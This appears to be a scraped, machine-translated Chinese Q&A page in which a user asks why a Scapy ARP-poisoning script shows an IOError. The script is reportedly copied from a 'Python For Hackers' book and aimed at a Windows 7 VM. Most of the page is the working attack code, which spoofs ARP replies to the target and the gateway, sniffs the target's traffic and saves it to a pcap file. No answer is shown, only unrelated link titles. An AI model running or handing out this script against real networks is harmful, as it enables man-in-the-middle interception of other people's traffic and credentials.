python - 我正在制作一个小的 ARP 毒脚本,但它显示了一些错误
问题描述
我使用 Linux 作为攻击者,作为目标,我在 Virtualbox 中使用窗口 7。
window IP Add = 192.168.43.22 getway = 192.168.43.1 我使用wifi作为互联网连接。
它显示此错误Exception IOError: IOError(19, 'No such device') 我尝试了很多次,但没有得到问题所在,这段代码来自Python For Hackers书。
arper.py
interface = "en1"
target_ip = "192.168.43.22"
gateway_ip = "192.168.43.1"
packet_count = 1000
conf.iface = interface
conf.verb = 0
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
print "[*] Restoring trget..."
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac, count=5))
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac, count=5))
os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
response, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") /ARP(pdst=ip_address), timeout=2, retry=10)
for s,r in response:
return r[Ether].src
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target = ARP()
poison_target.op=2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac
poison_getway = ARP()
poison_getway.op = 2
poison_getway.psrc = target_ip
poison_getway.pdst = gateway_ip
poison_getway.hwdst = gateway_mac
print "[*] Beginning the ARP poison. [CTRL_C to stop]"
while True:
try:
send(poison_target)
send(poison_getway)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip, gateway_mac,target_ip,target_mac)
print "[*] ARP poison attack finished."
return
print "[*] Setting up %s" % interface
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print "[!!!] Failed to get gateway Mac. Exiting"
sys.exit(0)
else:
print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)
target_mac = get_mac(target_ip)
if target_mac is None:
print "[!!!] Failed to get target Mac. Exiting"
sys.exit(0)
else:
print "[*] Target %s is at %s" % (target_ip, target_mac)
poison_thread = threading.Thread(target = poison_target, argc= (gateway_ip, gateway_mac, target_ip,target_mac))
poison_thread.start()
try:
print "[*] Strting sniffer for %d packets " % packet_count
bpf_filter = "ip host %s" % target_ip
packets = sniff(count=packet_count, filter=bpf_filter,iface=interface)
wrpcap('arper.pcap',packets)
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:
restore_target(gateway_ip, gateway_mac,target_ip,target_mac)
sys.exit(0)
解决方案
推荐阅读
- flutter - Flutter 桌面支持读取串口输入
- python - 如何将 csv 作为熊猫数据框导入?
- reactjs - React Hooks 状态对象不会改变单个/多个属性
- reactjs - 反应路由器切换时如何缓存 iframe 并防止卸载?
- angular - [Angular][Nebular] 主体背景与主题同步
- python-3.x - 无法将列表中的项目映射到列表列表中的列表
- python - 如何在 Windows 10 中检查特定用户的环境变量?
- c# - 当'A'在'A','B','C'中通过if else选择'A'时,如何使'B','C'代码不被加载到内存中以提高性能?
- windows - Oracle 12.2 Pro*C - Visual Studio 2015 C++ 警告 - sqlstm 的声明隐藏了全局声明
- python - 用于将每天创建一次的 sql 表与更新数据进行比较的 Python 脚本